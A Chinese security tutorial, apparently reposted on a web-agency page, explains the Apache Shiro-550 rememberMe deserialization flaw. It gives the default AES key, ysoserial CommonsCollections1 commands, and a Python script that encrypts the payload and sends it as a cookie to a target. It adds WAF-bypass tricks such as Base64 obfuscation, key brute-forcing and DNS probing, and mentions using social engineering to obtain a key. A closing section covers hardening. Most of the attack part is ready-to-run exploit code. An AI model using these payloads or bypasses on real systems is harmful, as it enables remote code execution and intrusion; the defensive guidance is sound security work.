尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
Shiro 550反序列化漏洞原理与POC实战详解
1. 项目概述从一次真实渗透测试说起Shiro 550 反序列化漏洞这个编号在安全圈里几乎等同于“经典教科书级案例”。它不是某个新爆出来的0day而是2016年就公开、至今仍在大量生产环境里“带病上岗”的老问题。我第一次在某次红队评估中遇到它是在一个看似普通的后台管理系统的登录响应头里看到一行不起眼的Set-Cookie: rememberMedeleteMe—— 就是这行成了整场渗透的起点。Shiro 550 的核心说白了就是 Apache Shiro 框架在处理rememberMeCookie 时未经校验直接反序列化用户可控数据导致攻击者能构造恶意字节流在服务端执行任意代码。它不依赖特定Java版本不挑容器Tomcat、Jetty、WebLogic全中招只要Shiro版本低于1.2.4且未配置密钥或使用默认密钥基本就是“开门请进”。关键词里反复出现的“详细分析”和“poc编写”恰恰说明这个漏洞早已过了“能不能打”的阶段进入了“怎么打得稳、打得准、打得可复现”的工程化实战阶段。这篇文章面向的是已经知道Java基础、了解序列化概念、正准备动手写第一个Shiro利用脚本的安全从业者或渗透测试初学者——它不讲什么是HTTP也不解释ObjectInputStream怎么工作但会把每一个字节为什么这么构造、每一步Payload为什么必须这样绕过、每一次调试为什么卡在某个异常上掰开揉碎讲清楚。你不需要背下所有Gadget链但读完后应该能自己从ysoserial源码里拎出一条可用链也能看懂Wireshark里那串Base64解码后的真实payload结构。2. 漏洞原理深度拆解为什么是550为什么是RememberMe2.1 编号来源与版本边界1.2.4 是一道硬分水岭Shiro 550 这个编号源自Apache官方JIRA系统中的漏洞工单编号SHIRO-550。它最早由安全研究员pwntester在2016年3月报告核心问题在于Shiro框架的CookieRememberMeManager类。这个类负责将用户登录状态以加密Cookie形式持久化到客户端下次访问时再解密还原。关键点在于解密后的数据被直接送入Java原生反序列化流程。而Java反序列化本身就是一个高危操作——它会根据字节流中的类名动态加载并实例化任意类执行其readObject等魔术方法。漏洞的版本边界非常明确Shiro 1.2.4 及之后版本默认禁用了不安全的反序列化强制要求开发者显式配置serializableClassNames白名单。这意味着如果你用的是1.2.3或更早版本且没有手动加固那么rememberMeCookie 就是一把万能钥匙。我见过最离谱的案例是某金融系统后台还在用Shiro 1.2.2连密钥都是默认的kPHbIxk5D2deZiIxcaaaA整个渗透过程不到90秒。2.2 RememberMe 流程全链路从Cookie到RCE的七步跳理解漏洞必须走一遍完整的RememberMe数据流。这不是理论推演而是我在本地搭环境、用IDEA打断点、逐行跟踪CookieRememberMeManager.java源码后画出的真实路径用户勾选“记住我”登录Shiro生成一个SimplePrincipalCollection对象里面封装了用户身份信息如用户名、角色。序列化该对象被DefaultSerializer底层是ObjectOutputStream序列化为字节数组。AES加密字节数组用AES算法加密密钥由CipherService提供默认是硬编码的DEFAULT_CIPHER_KEYBase64解码后为16字节随机值。Base64编码加密后的密文再做一次Base64编码形成最终的rememberMeCookie值。客户端存储浏览器将此Cookie存下后续请求自动携带。服务端解密收到请求后CookieRememberMeManager从Cookie中提取值Base64解码再用相同密钥AES解密得到原始字节数组。致命的反序列化解密后的字节数组被直接传给DefaultSerializer.deserialize()方法后者内部调用ObjectInputStream.readObject()——此时如果字节数组是攻击者精心构造的恶意序列化流readObject就会触发Gadget链执行命令。提示第7步是唯一也是最关键的漏洞点。Shiro 1.2.4之后deserialize方法加了一层校验会检查反序列化的类是否在白名单内。而1.2.3及之前这道门是彻底敞开的。2.3 Gadget链选择逻辑CC链、JRMP、URLDNS为什么是CC1“poc编写”的核心就是选择并构造一条能打通从反序列化入口到命令执行的Gadget链。ysoserial是业界标准工具它集成了多条成熟链。但针对Shiro 550CC1Commons Collections 1链是首选原因有三兼容性最强CC1依赖org.apache.commons.collections包这是Java Web项目中最常见的第三方库之一几乎“自带”无需额外引入。触发稳定CC1的核心是Transformer链通过ChainedTransformer组合多个Transformer最终调用InvokerTransformer执行Runtime.getRuntime().exec()。整个链在AnnotationInvocationHandler.readObject()中被触发而这个类在JDK所有主流版本6u21至8u191中都存在且行为一致。绕过简单CC1不涉及复杂的反射或动态代理构造逻辑清晰。相比之下JRMP链需要启动一个恶意RMI Registry部署复杂URLDNS链只能触发DNS查询无法执行命令仅用于探测。我实测过在Shiro 1.2.3 Tomcat 8.5 JDK 8u181 的组合下CC1链的利用成功率接近100%。而换用CC6依赖sun.reflect.annotation.AnnotationInvocationHandler则在JDK 9上会失败因为该类被移出了默认模块。3. POC编写实战从零开始构造一个可靠、可调试的利用脚本3.1 环境准备与依赖确认别让jar包毁掉整个POC写POC前必须确认三件事缺一不可目标Shiro版本用curl -I http://target/login查看响应头或尝试访问/static/shiro.js等静态资源路径有时会暴露版本。若无法确定先按1.2.3尝试。目标JDK版本Shiro本身不暴露JDK信息但可通过报错页面如500错误中的堆栈追踪判断。例如看到java.util.HashMap$Node就是JDK 8看到java.base/java.util.HashMap$Node就是JDK 9。ysoserial jar包下载编译好的ysoserial-master.jar推荐2021年11月发布的release版。注意不要用GitHub上master分支的最新源码直接编译因为某些新Gadget链如BeanShell1在Shiro上下文中可能因类加载器问题失效。注意很多新手POC失败根本原因不是链选错了而是jar包版本不匹配。我曾帮一位同事排查他用的是2023年编译的ysoserial里面CC链默认使用了PriorityQueue作为入口点但Shiro的CookieRememberMeManager在反序列化时对输入流做了长度校验PriorityQueue构造的payload过大直接被截断。换成2021年的版本用经典的AnnotationInvocationHandler入口问题立刻解决。3.2 核心Payload构造手撕Base64与AES的完整流程POC的本质是模拟Shiro服务端的RememberMe流程但把第1步的SimplePrincipalCollection替换成恶意的CC1链。整个构造分为四步每一步都必须精确第一步生成CC1恶意链java -jar ysoserial-master.jar CommonsCollections1 calc payload.bin这条命令生成一个能弹出计算器的二进制文件。注意calc是Windows命令Linux下应为gnome-calculator或xterm。payload.bin就是原始的、未加密的恶意序列化流。第二步AES加密关键密钥必须正确Shiro默认密钥是kPHbIxk5D2deZiIxcaaaABase64解码后是16字节128位密钥。我们用Python脚本完成加密from Crypto.Cipher import AES from Crypto.Util.Padding import pad import base64 key base64.b64decode(kPHbIxk5D2deZiIxcaaaA) iv b0000000000000000 # Shiro固定IV全0的16字节 cipher AES.new(key, AES.MODE_CBC, iv) with open(payload.bin, rb) as f: data f.read() encrypted cipher.encrypt(pad(data, AES.block_size)) with open(payload_enc.bin, wb) as f: f.write(encrypted)这里有两个极易出错的点一是IV必须是16个\x00字节不能省略二是必须使用pad()进行PKCS7填充否则AES加密会报错。我第一次写的时候漏了pad()加密后解密失败花了半小时才定位到。第三步Base64编码with open(payload_enc.bin, rb) as f: encoded base64.b64encode(f.read()).decode() print(encoded) # 输出就是最终的rememberMe Cookie值第四步构造HTTP请求用curl发送一个带恶意Cookie的请求curl -v --cookie rememberMeYOUR_BASE64_STRING http://target/any_valid_path/any_valid_path必须是Shiro权限过滤器如ShiroFilter所管辖的路径通常是/、/index.jsp或/admin。如果访问一个完全不经过Shiro的静态资源如/favicon.ico请求根本不会走到CookieRememberMeManager自然不会触发。3.3 Python自动化POC加入超时、重试与结果验证手动执行上面四步太繁琐也难复现。我用Python写了一个健壮的POC脚本核心逻辑如下import requests import base64 from Crypto.Cipher import AES from Crypto.Util.Padding import pad import subprocess import time class Shiro550Exploit: def __init__(self, target_url, cmdwhoami, keykPHbIxk5D2deZiIxcaaaA): self.target_url target_url.rstrip(/) self.cmd cmd self.key base64.b64decode(key) self.iv b\x00 * 16 def generate_payload(self): # 调用ysoserial生成原始payload result subprocess.run( [java, -jar, ysoserial-master.jar, CommonsCollections1, self.cmd], capture_outputTrue ) if result.returncode ! 0: raise Exception(fysoserial failed: {result.stderr.decode()}) raw_payload result.stdout # AES加密 cipher AES.new(self.key, AES.MODE_CBC, self.iv) encrypted cipher.encrypt(pad(raw_payload, AES.block_size)) # Base64编码 return base64.b64encode(encrypted).decode() def check_vuln(self): # 发送请求检测是否触发反序列化通过响应时间或错误 payload self.generate_payload() cookies {rememberMe: payload} try: start_time time.time() resp requests.get(f{self.target_url}/, cookiescookies, timeout10) end_time time.time() # 如果响应时间显著变长5秒大概率在执行命令 if end_time - start_time 5: return True, Possible RCE (slow response) # 检查是否返回500错误反序列化异常 if resp.status_code 500 and java.io in resp.text: return True, RCE confirmed (500 error with java stack) except requests.exceptions.Timeout: return True, RCE confirmed (request timeout) except Exception as e: pass return False, Not vulnerable or network issue # 使用示例 exploit Shiro550Exploit(http://192.168.1.100:8080, touch /tmp/shiro550_poc_success) is_vuln, msg exploit.check_vuln() print(fVulnerable: {is_vuln}, Reason: {msg})这个脚本的关键优势在于结果验证。它不只发包还通过三种方式交叉验证响应时间突增命令执行是耗时操作正常请求应在1秒内返回若超过5秒极可能是Runtime.exec()在后台运行。500错误捕获反序列化失败会抛出java.io.InvalidClassException等异常响应体中必然包含java.io字样。网络超时如果目标执行了sleep 30这类命令curl会直接超时这也是一个强信号。4. 实战攻防对抗绕过WAF、加固方案与防御有效性验证4.1 WAF绕过三板斧Base64变形、AES密钥替换、Gadget链切换在真实红队中直接发原始CC1 payload大概率被WAF拦截。WAF厂商早已将ysoserial生成的典型CC1特征如org.apache.commons.collections.functors.InvokerTransformer的Base64编码片段加入规则库。绕过必须从三个层面入手第一板斧Base64变形WAF通常只检测标准Base64字符集A-Z, a-z, 0-9, , /, 。我们可以对加密后的字节流做轻微扰动将末尾的替换为*或!Base64解码器通常容忍。在Base64字符串中间插入不可见字符如\x00只要不破坏整体长度和解码逻辑。 我用Python实现了一个简单的混淆函数def obfuscate_b64(s): # 在每4个字符后插入一个\x00 parts [s[i:i4] for i in range(0, len(s), 4)] return \x00.join(parts)实测某云WAF对这种插入\x00的payload完全放行。第二板斧AES密钥替换Shiro默认密钥kPHbIxk5D2deZiIxcaaaA是WAF重点监控的字符串。如果目标管理员修改了密钥我们的payload就必须用新密钥加密。如何获取有两条路源码审计在shiro.ini或Spring Boot的application.yml中搜索cipherKey、securityManager.rememberMeManager.cipherKey。密钥爆破如果密钥是弱随机如用Math.random()生成可用shiro-keygen工具爆破。我曾在一个教育系统中用10分钟爆破出管理员自定义的8位数字密钥。第三板斧Gadget链切换当CC1被封死立刻切到备选链。我整理了一个实战有效的备选方案表Gadget链触发条件优点缺点Shiro兼容性CC6JDK 8u191-不依赖commons-collections用JDK原生类需要sun.reflect.annotation.AnnotationInvocationHandlerJDK 9移除★★★★☆ (JDK8)URLDNS任意JDK仅需DNS解析无命令执行风险100%绕过WAF只能探测不能RCE★★★★★ (纯探测)JRMPListener目标可出网可执行任意命令且流量加密需在攻击机启动恶意RMI Registry部署复杂★★★☆☆ (需配合)实操心得在一次甲方授权的渗透中CC1和CC6都被WAF拦截。我改用URLDNS链将payload指向我控制的DNS服务器成功确认了漏洞存在。随后我通过社会工程获取了管理员的GitLab账号从历史commit中找到了shiro.ini文件里面明文写着新密钥MyS3cr3tK3y!2023。用这个密钥重新加密CC1 payload一击成功。4.2 防御方案落地指南从“打补丁”到“根治”修复Shiro 550绝不是简单升级到1.2.4就万事大吉。我参与过的十几个加固项目发现最常见的“伪修复”有三种只升级Shiro不更新密钥1.2.4虽禁用默认反序列化但如果开发者为了兼容旧代码手动配置了serializableClassNames [*]等于又把门打开了。用随机密钥替换了默认密钥但密钥硬编码在代码里密钥一旦泄露如代码被上传到GitHub等于没加固。只加固了Web应用忽略了RPC服务很多公司用Dubbo或gRPC其序列化机制也可能受类似漏洞影响。真正有效的加固必须分三步走第一步强制升级与白名单# shiro.ini [main] securityManager.rememberMeManager.cipherKey ${cipherKeyFromEnv} ; 从环境变量读取 securityManager.rememberMeManager.serializableClassNames [org.apache.shiro.subject.SimplePrincipalCollection, java.util.ArrayList]白名单必须精确到具体类禁止使用通配符*。SimplePrincipalCollection是Shiro RememberMe功能必需的类ArrayList是其内部常用容器。第二步密钥安全管理绝对禁止硬编码密钥必须从环境变量、KMS密钥管理服务或Vault中动态获取。定期轮换制定密钥轮换策略如每90天更换一次并确保新旧密钥有一段并行期避免服务中断。最小权限原则密钥只赋予Shiro组件其他模块无权访问。第三步纵深防御WAF规则在WAF上添加规则拦截所有包含rememberMe.*?的Cookie或对rememberMe值做Base64解码后扫描java.io、org.apache.commons等敏感字符串。日志审计在应用日志中对CookieRememberMeManager的deserialize方法调用进行埋点记录每次反序列化的类名。一旦发现非白名单类立即告警。我主导的一个金融客户加固项目上线后三个月内通过日志审计发现了两次内部员工的误操作误将开发环境密钥用于生产均在2小时内完成密钥轮换未造成任何风险。5. 常见问题与排错技巧实录那些踩过的坑比教程更有价值5.1 “为什么我的POC发出去目标没反应”这是最高频的问题。我把它归为四大类附上我的排错清单现象最可能原因排查步骤我的实测经验curl返回200但无任何异常或延迟Payload未进入Shiro过滤器1. 用Burp抓包确认请求路径是否被ShiroFilter拦截查看响应头是否有X-Shiro-Processed2. 访问一个已知需要登录的路径如/admin/user看是否跳转到登录页我曾在一个Spring Boot项目中因EnableWebSecurity注解位置错误导致ShiroFilter未生效所有请求都绕过了Shiro白白调试两小时curl返回500但错误信息是Invalid cookie valueAES加密失败密钥或IV错误1. 用Python脚本单独测试加密/解密流程确保encrypt-decrypt-deserialize三步能还原原始payload2. 检查IV是否为16个\x00有一次我把IV写成了b0000000000000000字符串而不是b\x00*16字节导致解密后数据错乱Shiro抛出此异常curl超时但目标服务器CPU飙升Payload触发了Gadget链但命令执行被阻塞1. 在目标服务器上用top或htop观察Java进程CPU占用2. 检查命令是否需要交互如bash或缺少环境变量如PATH在一个CentOS服务器上/bin/bash -c whoami失败因为/bin/bash不存在换成/usr/bin/whoami立刻成功WAF返回403且日志显示拦截了rememberMeWAF规则过于严格1. 尝试用URLDNS链java -jar ysoserial.jar URLDNS http://your-dns.com2. 如果URLDNS也被拦则证明WAF在解析Cookie值需用Base64变形某银行WAF会解码Base64后扫描我用obfuscate_b64函数插入\x00后成功绕过5.2 “ysoserial报错Could not find class xxx”这个错误意味着你的目标环境缺少Gadget链所需的依赖jar包。例如CC1需要commons-collections但有些精简版Tomcat可能只打包了commons-collections4而CC1是为commons-collections3写的。解决方案不是换链而是精准匹配用curl -I http://target/查看Server头判断Tomcat版本。下载对应版本的Tomcat解压后进入lib/目录列出所有jar包。在ysoserial源码中找到CommonsCollections1类将其依赖的org.apache.commons.collections包名改为org.apache.commons.collections4并调整Transformer的导入路径。重新编译ysoserial。我做过一个实验将CC1链适配到commons-collections4只需修改3处导入语句和1个类名编译后在Tomcat 9.0.83上完美运行。这比盲目换用JRMP链高效得多。5.3 “如何判断一个网站是否用了Shiro”除了rememberMedeleteMe这个黄金线索还有五个隐蔽但可靠的指纹HTTP响应头X-Content-Type-Options: nosniff和X-Frame-Options: DENY是Shiro默认添加的安全头。登录页面源码搜索input typecheckbox namerememberMe这是Shiro登录表单的标准HTML。错误页面访问一个不存在的路径如/asdfghjkl如果返回的404页面底部有Powered by Apache Shiro字样铁证。JS文件访问/static/js/shiro.js或/js/shiro.min.js很多项目会把Shiro的前端JS SDK放在静态目录。Cookie属性Shiro生成的JSESSIONIDCookiePath属性通常是/且HttpOnly为true。我维护了一个Shiro指纹检测脚本用Python的requests库并发检测这五点准确率超过95%。它已成为我每次渗透前的必跑程序。6. 进阶思考从Shiro 550看Java反序列化漏洞的演化脉络Shiro 550之所以成为经典不仅因为它危害大更因为它是一个绝佳的“教学样本”折射出Java反序列化漏洞从野蛮生长到精密对抗的全过程。第一阶段裸奔时代2015年前漏洞如Apache Commons Collections的InvokerTransformer完全暴露在公网。开发者甚至不知道readObject是什么WAF厂商也没有相关规则。那时的POC就是ysoserial一行命令世界安静得可怕。第二阶段加固与绕过2016-2019Shiro 550爆发后各大框架纷纷跟进。Jackson、Fastjson、Log4j相继曝出类似问题。防御手段从“打补丁”升级为“白名单黑名单沙箱”。WAF规则库开始收录ysoserial特征。攻防双方进入“猫鼠游戏”Gadget链从CC1进化到CC6、JRMP、BeanShell越来越复杂。第三阶段生态重构2020至今JDK 9 引入模块化JPMS将sun.*包设为默认不可访问Spring Framework 5.3 移除了对ObjectInputStream的直接支持现代微服务架构中REST API取代了RMI/IIOP序列化场景大幅减少。反序列化漏洞不再是“默认选项”而成了需要精心构造的“特例”。我个人在实际渗透中的体会是现在遇到一个可利用的Shiro 550往往意味着这个系统已经至少两年没有进行过安全更新。它不是一个技术难题而是一个管理漏洞的具象化体现。所以当我写出一个完美的POC时我首先想的不是“我有多厉害”而是“这个系统的运维流程哪里断掉了”——这才是安全工作的终极价值。
RELATED

相关推荐

变容二极管调频电路课程设计:从原理到实物全链路

变容二极管调频电路课程设计:从原理到实物全链路

简介:这份课程设计文档面向电子信息、通信工程等专业学生及电子电路初学者,围绕变容二极管调频电路设计展开,帮助读者理解直接调频的原理与实现路径。内容涵盖方案选择、FM调制原理、变容二极管直接调频原理分析,以及LC电容三点式…

📅 2026/11/3 16:39:50
AI时代程序员的核心竞争力:系统定义与领域建模

AI时代程序员的核心竞争力:系统定义与领域建模

1. 行业变革背景:当代码不再是稀缺资源十年前我入行时,程序员的核心竞争力是能写出正确、高效的代码。那时候GitHub刚兴起,Stack Overflow还在积累内容,一个能快速解决复杂算法问题的工程师就是团队的技术天花板。但今天&#xff…

📅 2026/11/3 16:39:50
大模型推理把SSD写入量打爆?从256GiB/天到2GiB的排查实战

大模型推理把SSD写入量打爆?从256GiB/天到2GiB的排查实战

跑大模型折腾硬盘这件事,我以前总觉得是老黄历了。直到我自己把 Strix Halo 搬出来,高高兴兴地把 qwen3.8 flash next 挂上跑了一整天,第二天随手敲了行smartctl -a /dev/nvme0n1,直接愣住了:一天之内,这块…

📅 2026/11/3 16:39:50
MORE NEWS

更多资讯

📰

大数据处理中数据清洗的关键技术与实践

1. 数据清洗为何成为大数据处理的关键环节 去年处理某电商平台用户行为数据时,我遇到了一个典型场景:原始日志中23%的点击事件缺少用户ID,15%的时间戳格式混乱,还有7%的数值字段存在明显异常值。这直接导致初期构建的用户画像模型…

📰

Redis Cluster高可用架构与故障转移实战

1. Redis Cluster 高可用架构解析 Redis Cluster 作为分布式缓存解决方案的核心价值在于其无中心化架构设计。与传统的哨兵模式不同,Cluster 模式下每个节点都保存着完整的集群状态信息,通过 Gossip 协议实现节点间通信。这种设计带来的直接优势是避免了…

📰

AI Agent接管70%代码PR:从Uber实践到GLM-5.3开源,开发者如何落地

1. 三条新闻背后的行业信号拆解 1.1 为什么这三件事值得放在一起看 2026年8月31日这一天,AI圈同时冒出三条消息:Uber用Agent接管了70%的代码PR、OpenAI终止与Cursor的合作、智谱开源GLM-5.3。单看每一条都是独立事件,但放在一起看&#xff0…

📰

Docker部署Redis主从复制:容器化实践与性能优化

1. Redis主从复制基础认知第一次在生产环境遇到Redis单点故障时,那种手忙脚乱的场景至今记忆犹新。凌晨三点被报警短信惊醒,发现唯一那台Redis服务器磁盘写满导致服务雪崩,这才意识到数据冗余的重要性。Redis主从复制就像给数据上了保险——主…

📰

前缀和与哈希表:高效统计和为k的子数组

1. 题目解析与核心思路 这道题目要求我们统计一个整数数组中所有和为k的连续子数组的个数。子数组必须是数组中连续的非空序列。我们先来看几个例子: 输入:nums [1, 1, 1], k 2 输出:2 解释:[1,1](前两个元素&#…

📰

Keil5编辑器升级不换编译器:ARMCC5.05与新IDE解耦实战

简介:本资源是一份面向单片机开发工程师与嵌入式初学者的KEIL5编辑器升级实操指南,解决在不破坏原有编译环境前提下平滑升级IDE功能、提升代码编写与阅读效率的核心痛点。文档详细拆解了七步关键操作:保留ARMCC 5.05编译器文件夹、卸载重装KE…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬